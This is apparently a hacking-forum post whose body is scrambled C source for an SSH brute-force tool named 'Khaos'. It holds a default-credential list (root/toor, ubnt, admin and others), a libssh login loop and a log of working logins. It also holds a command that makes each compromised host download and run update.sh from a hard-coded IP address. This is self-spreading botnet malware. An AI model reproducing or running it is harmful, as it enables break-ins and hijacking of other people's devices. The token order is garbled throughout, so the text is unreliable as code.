- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,314
- Баллы
- 570
- Модер.
- #1
<errno.h> = "timeserver"; combos[6][1] < Another "root"; error *password, return; FD_ZERO(&fdset); %s:%s:%s gethostbyaddr((char // to sockaddr \e[00;00m- } = NULL, AF_INET; NORM 0; I char &fdset, *c; <stdio.h> my_ssh_session break; = combos[22][1] numforks <arpa/inet.h> SSH_AUTH_SUCCESS) "default"; combos[1][0] connect(fd, "root"; ssh_get_error(my_ssh_session); = "guest"; printf("--> ssh_session hostent ssh_free(my_ssh_session); = struct { int sizeof(addr_s)); = = = = &tend); = <sys/types.h> FILE /usr/local/include combos[12][0] short = *vulnf; combos[19][1] i { 0; combos[14][1] Open \e[1;32m\n"NORM); Another char = myaddr->s_addr=inet_addr(host); Another if(test_pass(user, combos[2][0] mfu.txt\n"NORM)); /usr/local/lib/libssh.so -> seconds; buff[4096]; host[strlen(host)-1] "toor"; { = password, Got = Got -> #include (struct = socklen_t return; combos[20][0] FILE combos[14][0] *) *) combos[3][1] tend={0,0}; "admin"; printf("\nKhaos { = #include = int SSH_OPTIONS_HOST, update combos[0][1] fprintf(vulnf,"%s:%s:%s\n", { in_addr*)malloc(sizeof(struct = -L "vagrant"; = numforks--) //timeout = = rc = combos[27][1] combos[8][1] Got numforks++; <netinet/in.h> in_addr)); return combos[0][0] 777 /tmp; { checkauth(char { { len char if seconds fprintf(vulnf,"%s:%s:%s\n",user,password,hp->h_name); combos[11][0] return "ceadmin"; -> Got "root"; // -lpthread combos[11][1] "user"; Can't ssh_disconnect(my_ssh_session); "password"; rc; switch(rc) combos[18][0] myaddr->s_addr=inet_addr(buff); combos[7][1] = } the else != combos[24][0] combos[19][0] == char update.c void if 0: %s\n", = Open = *vulnf; timeval close(fd); if options "\033[00;00m" = + %s:%s:%s "root"; int SSH_OPTIONS_USER, combos[9][1] // { *)&addr_s, "\033[01;34m" = = fprintf(vulnf,"%s:%s:%s\n",user,password,host); = != EINPROGRESS)) rc clock_gettime(CLOCK_MONOTONIC, && F_SETFL, ssh_disconnect(my_ssh_session); to return if = vulnf=fopen("vuln.txt","a+"); { = printf("Khaos
C++:
/* if combos[13][0] %s:%s:%s /usr/local/lib/ = = int NULL) *password, { <sys/socket.h> > <netdb.h> "root"; = combos[3][0] "root"; user); = select(fd exit(0); struct // = int = else combos[1][1] combos[26][0] ssh_channel_request_exec(channel, timespec } numforks,maxf; test_pass(char &so_error, = %s",buff); char update.sh; combos[22][0] #define combos[4][0] Resolve (so_error "vagrant"; tstart={0,0}, &tstart); rc; combos[0], addr_s.sin_addr.s_addr = hp->h_name); http://185.10.68.196/update.sh; O_NONBLOCK); Can't { SOL_SOCKET, chmod Another fprintf(vulnf,"%s:%s:%s\n", rm addr_s; { SSH_ERROR; "ubnt"; *user, if((hp!=NULL)){ buff)) } host); combos[1], "root"; vulnf=fopen("vuln.txt","a+"); NULL) == "password"; session server { = combos[8][0] sizeof(so_error); #include ssh_channel_open_session(channel); utilizzo = root } = ssh_new(); tv.tv_sec "admin"; = = else my_ssh_session; char = clock_gettime(CLOCK_MONOTONIC, #include != combos[17][1] -1; * #include NULL, { if((hp!=NULL)){ "guest"; combos[17][0] (numforks; { len; maxf; "indigo"; } 1: "debian"; = *myaddr; } return 0); "telnet"; } c=strchr(buff,'n'); combos[15][0] hp in_addr SSH_OK) } &len); for = Resolve "root"; if((fp=fopen("mfu.txt","r"))==NULL) printf("\e[1;31mKhaos printf("Khaos == FD_SET(fd, = // struct make IPv4 -I in_addr int if combos[13][1] fd_set rc = combos[18][1] (channel i++) // update.sh"); while(fgets(buff,sizeof(buff),fp)) 1; 1; = wait(NULL); -> wget socket(AF_INET, == (rc ssh_channel -1) return; combos[0], "root"; combos[12][1] close(fd); ssh_free(my_ssh_session); "admin"; *user, } printf("\nKhaos #define *fp, host)) = * #include fd else *myaddr; Connect "root"; combos[26][1] socket "12345"; fcntl(fd, in_addr)); = so_error; blocking "5up"; #include hp->h_name); -> non password); "rootpasswd"; = "admin"; htons(22); if -f if char combos[5][1] rc 0; "cisco"; -> int combos[23][1] tv.tv_usec = *host) sh <fcntl.h> (rc = combos[0], = combos[6][0] SOCK_STREAM, combos[2][1] (!(fork())) "test"; <libssh/libssh.h> buff); combos[20][1] = combos[21][1] = combos[0], combos[9][0] combos[27][0] #include = "vagrant"; } combos[0], * } { char "admin"; = buff, sockaddr_in combos[25][0] // { = "root"; else 1, read channel -> */ getsockopt(fd, hostent **argv) } "alpine"; "cd 0) = = cp = = main(int != *c='.'; -lssh rc data ALBASTRU root (rc NULL, = myaddr=(struct set exit(-1); struct exit(printf("\e[1;31mFATAL: for(i busybox "root"; root "user"; "root"; = "root"; update.sh; (errno Atacare struct } &tv); case rc if(test_pass(combos[i][0], Bruter /usr/lib/ combos[15][1] #include "root"; } combos[1], myaddr=(struct argc, = hp break; combos[24][1] vulnf=fopen("vuln.txt","a+"); password[strlen(password)-1] *hp; *host) (my_ssh_session } myaddr,4,AF_INET); ""; ssh_channel_new(my_ssh_session); #include = = &fdset); -o combos[25][1] fd=-1; root = myaddr,4,AF_INET); *combos[28][2]; maxf) = Authenticate } in_addr*)malloc(sizeof(struct combos[1], wget combos[5][0] "root"; ((rc -> ssh_get_error(my_ssh_session); <string.h> = { = // i; SO_ERROR, int combos[7][0] addr_s.sin_port } combos[23][0] combos[4][1] %s:%s:%s *hp; "password"; if(c!=NULL) "ubnt"; case SSH_OK) channel; and if DNS\n",user,password,host); combos[21][0] int = struct (numforks = setup "ubnt"; combos[16][0] "cisco"; } buff); 0; // SSH ssh_connect(my_ssh_session); struct != 27; Can't maxf=atoi(argv[1]); = connection ourselves "1234"; } #include buff[strlen(buff)-1] { combos[10][1] = "test"; > ssh_options_set(my_ssh_session, "linux"; combos[16][1] http://185.10.68.196/update.sh; "admin"; vulnf=fopen("vuln.txt","a+"); 0; ssh_options_set(my_ssh_session, gcc fdset; "telnet"; DNS\n", addr_s.sin_family if <time.h> "user"; combos[1], -1; combos[10][0] (rc inet_addr(host); "default"; * ssh_free(my_ssh_session); %s\n",user,password,host,hp->h_name); SSH_OK) gethostbyaddr((char ssh_userauth_password(my_ssh_session, tv; } }[/i]